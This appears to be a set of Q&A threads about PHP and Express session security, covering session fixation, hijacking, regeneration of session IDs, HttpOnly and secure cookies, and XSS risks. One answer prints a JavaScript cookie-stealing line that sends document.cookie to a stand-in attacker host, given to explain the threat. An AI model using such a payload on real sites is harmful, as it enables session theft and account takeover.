PHP: Session Security - security

I read about session security eg. Session Fixation, Hijacking & Injection but am confused about the workings of session security. The way I usually do it:
// when user logins,
$_SESSION["user"] = "someuser";
// check user login
if (isset($_SESSION["user"]) && !empty($_SESSION["user"]))
Maybe I am doing it wrong, but I don't have Session IDs anywhere, or at least I didn't use it. Can someone explain how should Session IDs be used & how it affects session security? Also, is my understanding of the following threats correct?
Session Fixation
User visits link (http://site.com?session_id=123) and logs in
Server "marks" that session id as logged in
Hacker can now visit http://site.com?session_id=123
My understanding of Session Fixation seems very wrong to me. If its correct won't it mean that hackers can randomly use session ids and I will likely be used by an existing user?
Session Hijacking
Hacker somehow gets Session ID whether by Fixation or guessing etc
Session Injection
What is this?

You're not using session IDs explicitly, but PHP uses them automatically. The session ID is sent as a cookie to the browser, who sends it back to the server with every request to identify itself and resume the session. Without that, sessions are not possible.
A way to improve security is to regularly change the ID of a session, using session_regenerate_id(). That way, if a hacker acquires somebody's session ID, he has only a limited amount of time to abuse it.
Another way to prevent session hijacking (a hacker using your session ID to steal your session) is to store the client IP and user agent string when the session is opened and verifying that they haven't changed when resuming the session.

When using sessions, the session ID is the only information used to identify a session. Because of this, the session ID is a sensitive information.
Now both attacks, session hijacking and session fixation, aim for a valid session ID of a victim to gain access on that session. As for session hijacking, the attacker tries to obtain a victims session ID, and as for session fixation, the attacker tries to foist a prepared session on the victim.
To protect your application from those session attacks, there are two common safety measures:
protect valid session IDs, and
authenticate usage of sessions.
With PHP’s default session settings, the session ID is transmitted using a cookie (see session.use_only_cookies). You can protect this cookie by using a secure connection with SSL/TLS and by setting session.cookie_httponly to true so that the cookie can only be read when sent via HTTP and not by a client side program like JavaScript.
Additionally, you could authenticate the use of a session by associating a fingerprint of the client with the session. This could be a combination of user agent identifier and other request header fields.
Furthermore, you should change the ID of a session with every verification of authenticity or change of authorization. You can use session_regenerate_id(true) for this with an invalidation of the old session ID.

Related

Generate unique sessionId with Express Cookie-Session

I'm using node/express.js with cookie-session in my application.
Currently, when a user logs in a cookie is stored in their browser with a value, for example: session: ABC123. If the user logs out, the cookie is deleted. When the user logs back in, the same cookie and value are stored in the browser session: ABC123.
I am getting the same session user_sid whenever i login.
i want to randomize the session user_sid every time the user logs in.
There is no notion of a session id with the cookie-session package.
In the typical scenario where the session data is stored on the server, a session id is generated that maps to a given user session data. This is this session id that is kept in the session cookie.
With the cookie-session package however, the session data itself is stored in the cookie - as opposed to on the server -, so there is no need for such a mapping or a session id at all. So in effect and unless the session data is actually updated from one session to another, the session cookie will be the same.
You want to call session.regenerate() when the user successfully login, that will do what you want and also address session fixation attack

How to secure session_id?

I plan not to use HTTPS for my web app. I used digest authentication as method to secure login to my system. And after user being authenticated, I simply send nonce to them periodically(1 min). When users make request, I simply check whether the nonce expires before I send them response.
I want to know whether it is necessary for me to protect users session_id in case the attackers replay the nonce or guess out the nonce generation mechanism? And if yes, how do I secure the session_id?
Take a look at Session Hijacking and Fixation
The best solutions to Session Hijacking/Fixation is:
Regenerate session identifier at key points. In your case after user login. So, after the user logins, we give him a new session identifier.
So,in case a hacker hijacked the session id, it would be useless and
would not work.
Save User Agent/IP address and compare it against
the User Agent/IP address used just before login. A hacker would not have the same User Agent/IP address as the legit user. But remember User Agent/IP address can sometimes be faked.
Last but not the least, destroy old session regularly.
Keeping these in mind, your program will be safe from Session Hijacking/Fixation.

How to securely verify user requests

I'm building a basic website where a logged in user makes requests to a server. What are some good practices for the server to verify that the user is who he says he is? Right now I create a session key every time the user logs in which is then stored in the DB. the session key is the hash of the users username concatenated with the current time. Every time the user makes a request he sends along the session key to be verified. Are there any security flaws with this method?
Yes, this isn't real security. It is know as Security by Obscurity.
If an attacker wants to hijack a session, all they would have to do is hash the username along with the time and set it as their cookie value. Of course this would have to correspond with a valid user session being logged on at that time, but they could easily script this.
For example, if they wanted to log on as bob#example.com the could simply generate the hash of bob#example.com:00:00:00, bob#example.com:00:00:01, bob#example.com:00:00:02, etc, etc, until they find a session value that allows them to access privileged pages.

Is XSS dangerous even if the cookie doesn't store user credentials?

Whenever someone talks about the dangers of xss, they mention that the 'bad guys' can get access to user credentials. But if I only store a session id on the cookie, and authenticate the user based on the session id, are there any other ways xss can be used to access user credentials?
Yes.
XSS means a foreign or malicious script is running on the page. There are a bunch of ways this could be dangerous.
Session Hijacking
Even if the cookie doesn't store user credentials (and it shouldn't). It stores enough information for the server to consider the bearer of the cookie to be a particular user (HTTP is stateless so we use cookies/sessions to remember users).
So if someone steals the session ID they can use it to impersonate you and the server might be none the wiser.
Safeguarding with IP
In your original question you asked about another level of security: verifying the IP address tied to the session. Yes, that cuts down the attack avenue. Yes, IP addresses can be faked. But you're no longer the lowest hanging fruit for attackers. At the same time security and convenience are opposites so your legitimate users might be frustrated that when their IP address changes they are no longer signed in.
Other attacks
Stealing the cookie/session is one easy way to gain access but not the only one.
Since a script is running (supposedly) from the trusted site and from the user's browser. It could to a lot of things:
loads an invisible iframe for the account edit page and resets the password/email for the user
load a keylogger, show the user the login page
Unless the Session ID cookie is marked as HTTP Only, the session can still be hijacked using XSS.
e.g.
new Image().src = 'http://www.example.com/?cookie=' + escape(document.cookie);
will send the Session ID to the attackers domain (www.example.com) where they will be able to set their own cookie to the same Session ID and steal the session.
Even without the cookie risk, as the attacker can inject whatever they like into the page, they could alter any page content or install key loggers in the browser session.
I recently went to a talk that described ways to trick a password manager into filling out a password form, provided that the attacker could use XSS to modify pages on the victim site. That's one way an attacker might be able to access user credentials.

A different way to manage sessions

I'm working in a cookie-less way to manage sessions in my project (expressjs), keeping all session data server side and using a token at client side (previously generated by the server) to validate the session on every request.
A new token will be created on user login and kept hide somewhere in the page, then, on every request this token will be written to the request header and validated server side. at this point server will search for the token in a session store, lets say redis, and get the session data if the token is found or respond with a message of session expired otherwise.
There are some things i'm considering for this:
Redis keys are created on user login with a settled expiration.
Every time session data is found in redis i have to 'touch' the key
so expiration time gets postponed.
Token will be validated along side with the ip address of the client so can't be used by other person.
My question is if this is can be considered a secure way to work with, and if there is anything i'm missing here. Thanks
OK, cookies are required for storing session. Express does it the ideal way.
In express session(not cookiesession) it is completely stored at the server, only a key is sent to the client. The whole session is serialized to a key which is then sent. I assume you want that user cannot tamper with the session cookies. You can use httponly cookies to prevent tampering. They are only handled by browser and cannot be accessed by user. This prevents cookie theft or session hijacking. You can enable httponly cookies with:
app.use(express.session({cookie: { path: '/', httpOnly: true}, secret:'password'}));
Still you should use some encryption to prevent eavesdropping of cookies. Use secure : true for that. You can also mention where you want to store the session with redis, mongo or simply in memory.
The request token validation that you mention is a technique commonly used to prevent Cross-site request forgery. It keeps changing the token dynamically to keep user from getting the token. You can use this in express with csrf middleware.
app.use(express.csrf())
IP matching will not work as IP of user can change over time.

Resources